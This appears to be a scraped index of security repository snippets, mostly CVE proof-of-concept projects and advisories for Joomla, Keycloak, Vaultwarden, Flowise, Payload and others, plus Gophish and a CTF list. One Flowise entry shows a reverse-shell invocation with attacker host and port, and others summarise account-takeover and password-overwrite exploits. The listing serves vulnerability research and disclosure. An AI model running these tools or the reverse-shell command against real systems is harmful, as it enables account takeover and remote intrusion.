ipmi

I wrote some software to explore IPMI; here are some of results. I thought I'd do the usual detect, get data, and audit sort of cycle. Each of these turned out to be fairly interesting problem on its own, at least to me. BTW/FYI - I released a new tool to explore IPMI -...

NPM: Payload: Password hashes use insufficient PBKDF2 iterations

NPM: Payload: Password hashes use insufficient PBKDF2 iterations vulnerability discovered by ? in WordPress Npm payload versions = 3.0.0, 3.90.0...

CVE-2023-23752

这是一个用Python编写的针对CVE-2023-23752的POC，用于显示用户名和密码信息。 CVE-2023-23752 Joomla! 4.0.0 4.2.8 Usage = python3 exploit.py 下面这个GIF演示了脚本的执行过程：...

CVE-2026-43914-PoC

CVE-2026-43914 — Vaultwarden 邮箱双因素认证暴力破解防护绕过 CVE-2026-43914 的概念验证：当启用邮箱双因素认证（Email 2FA）时，Vaultwarden 的登录暴力破解防护可通过未认证的POST /api/two-factor/send-email-login 端点被完全绕过，该端点充当无限制的主密码预言机。 受影响版本：Vaultwarden MailHog docker run -d --name vw-lab -p 8222:80 --link mailhog \ -e IREALLYWANTVOLATILESTORAGE=true ...

POC-CVE-2026-18963

CVE-2026-18963 — PoC de omisión de autenticación en el flujo de «Olvidé mi contraseña» de Keycloak Prueba de concepto para CVE-2026-18963 , una vulnerabilidad en el flujo de «Olvidé mi contraseña» / selección de credenciales de Keycloak que permite a un atacante alcanzar el paso UPDATEPASSWORD — ...

CVE-2026-18963-keycloak

CVE-2026-18963 — Keycloak Reset-Credentials Bypass → Account Takeover Unauthenticated account takeover in Keycloak's reset-credentials flow. An attacker who knows only a username/email can reset any user's password — including admins — without ever receiving the verification email. ⚠️ Disclaimer —...

gophish

Gophish Gophish: Open-Source Phishing Toolkit Gophish is an open-source phishing toolkit designed for businesses and penetration testers. It provides the ability to quickly and easily setup and execute phishing engagements and security awareness training. Install Installation of Gophish is...

EUVD-2026-93463

Payload is a free and open source headless content management system. Payload versions from 3.0.0 before 3.90.0 and canary versions from 4.0.0-canary.0 before 4.0.0-canary.34 use a lower-than-recommended PBKDF2 work factor for password hashing, reducing the computational effort required to test...

CVE-2026-105804

The Payload headless content management system is vulnerable to a security weakness where password hashes use a lower-than-recommended PBKDF2 work factor . This insufficient computational effort makes it easier for attackers to test recovered password hashes. The issue affects versions 3.0.0 befo...

CVE-2026-105804 Payload: Password hashes use insufficient PBKDF2 iterations

Payload is a free and open source headless content management system. Payload versions from 3.0.0 before 3.90.0 and canary versions from 4.0.0-canary.0 before 4.0.0-canary.34 use a lower-than-recommended PBKDF2 work factor for password hashing, reducing the computational effort required to test...

CSRF-breach

安全漏洞项目 - 跨站请求伪造 Dolibarr 7.0.0 受到以下漏洞影响：跨站请求伪造（CSRF）。其影响为：允许恶意 HTML 更改用户密码、禁用用户以及禁用密码加密。受影响组件为：用户密码修改、用户禁用及密码加密功能。攻击向量为：管理员访问恶意 URL。 演示 演示步骤 运行：'vagrant up' 以构建环境（自然需要一些时间：最多几个小时——这就是 Vagrant，你能咋办 ¯ツ/¯）。 环境就绪后，从 dev 目录运行以下命令： rm index.html mv backupindex.html index.html 运行 vagrant ssh 按照报告中的其余步骤操...

Remote-Desktop-Caching-

远程桌面缓存恢复工具 该工具允许用户以损坏的PNG文件形式恢复旧的RDP（mstsc）会话信息。这些PNG文件使红队成员能够提取LAPS密码或屏幕上的任何敏感信息。蓝队成员可以重建PNG文件，查看攻击者在受感染主机上做了什么。对于取证团队来说，在主机遭受攻击后提取时间戳以收集证据并进行进一步分析非常有用。 欢迎对本工具提出任何建议或想法——只需在推特上联系我 @ManiarViral 截图 首次运行 Remote-Desktop-Caching 时，使用 python.exe remotecache.py，用户将看到如下选项： 使用 选项1 和...

nepstech-xpon-router-CVE-2024-40119

nepstech-xpon-router-CVE-2024-40119 作者： Subhodeep Baroi CVE-2024-40119：Nepstech无线路由器NTPL-XPON1GFEVN v1.0中的CSRF漏洞 描述 CVE-2024-40119 是Nepstech Wifi Router xpon NTPL-XPON1GFEVN v1.0固件v2.0.1中的一个跨站请求伪造（CSRF）漏洞。该漏洞允许远程攻击者在未经用户同意的情况下更改管理员密码，可能导致帐户被接管。 详细信息 漏洞类型： 跨站请求伪造（CSRF） 产品供应商： Nepstech 受影响产品代码库： Wi...

CVE-2025-58434-PoC

CVE-2025-58434 PoC 用于触发 POST /api/v1/account/forgot-password 的 Python 概念验证脚本。 ⚠️ 仅供教育和已获授权的安全研究使用。 将此工具用于你不拥有或未经书面许可测试的系统是违法的。 致谢 zaddy6 Isaac David arthurgervais Arthur Gervais 详情 CVE-2025-58434 的 PoC 参考: https://github.com/advisories/GHSA-wgpv-6j63-x5ph 文件 poc.py: 提示输入机器 URL/IP、目标邮箱和密码（如果输入裸主机/I...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 影响 Flowise -c "id" 使用现有密钥的反弹 Shell ： python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 选项 标志| 描述 ---|--- -t, --target| 目标 URL -e, --email| 目标账户邮箱（触发 ATO 链） --api-key| 直接提供 API 密钥（跳过 ATO） -c, --command| 要执行的命令 --lhost| 攻击者 IP（反弹 Shell）...

public-passwd

!WARNING 请仅在你拥有或获授权测试的系统上使用。如果你在失败时无法重启系统，建议保持一个 root shell 打开，因为如果没有 root，你可能无法清除 /etc/shadow 的页缓存。 public-passwd 利用 CVE-2026-46333 和 CVE-2026-31431，无需提升到 root 即可更改任意用户的密码。 使用方法 python passwd.py 你也可以不带参数运行该命令，以查看 shadow 文件中当前的哈希。 截图 工作原理 CopyFail（CVE-2026-31431）及类似漏洞允许向操作系统中你可读取的任何文件写入 4...

pbkdf2 rehashes long passwords on every iteration, enabling denial of service

Summary This is the same bug as Django had CVE-2013-1443. Details A long password can cause a DoS because it is not using cached HMAC, length limits, or pre-hashing passwords longer than the block size of the hash function as per HMAC spec. This line of code hashes the full password each iteratio...

Locky

Locky Locky 可生成“真正”强大且易于记忆的密码。 Locky 生成的密码具有以下特点： 20 个以上字符 极高的熵 易于记忆 单词之间的填充 自定义元素（姓名） 因此，这些密码无法被暴力破解，无法被猜中，也不会被遗忘。 兼容性 Locky 兼容 python2 与 python3。 Locky 使用的库如下： random sys math Locky 使用转义序列生成彩色文本，这在 Windows 中无法生效。因此，Locky 可以在 Windows 上运行，但显示效果不佳。...

ctf

CTF関連のもの 目次 チャレンジは以下の表にリンクされています。 説明| イベント/ゲーム| 解答 ---|---|--- Smash The Stack| ---| --- Blackbox| Level 1| "ログイン"機能を持つexeで、パスワードがメモリ内に平文で保存されている。 Blackbox| Level 2| setuidがルートに設定されたexe。return-to-libc 脆弱性。...

CVE-2026-11387

CVE-2026-11387 — SMS Alert ≤ 3.9.5 ☆ 未认证权限提升 — 通过任意密码重置 ☆ === Beelze === 📋 漏洞信息 字段| 详情 ---|--- CVE ID| CVE-2026-11387 CVSS 评分| 9.8 严重 CVSS 向量| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 类型| 缺少身份验证 / OTP 绕过 插件| SMS Alert – WooCommerce OTP 验证 sms-alert 受影响版本| ≤ 3.9.5 修复版本| 3.9.6 发布年份| 2026 PoC 作者...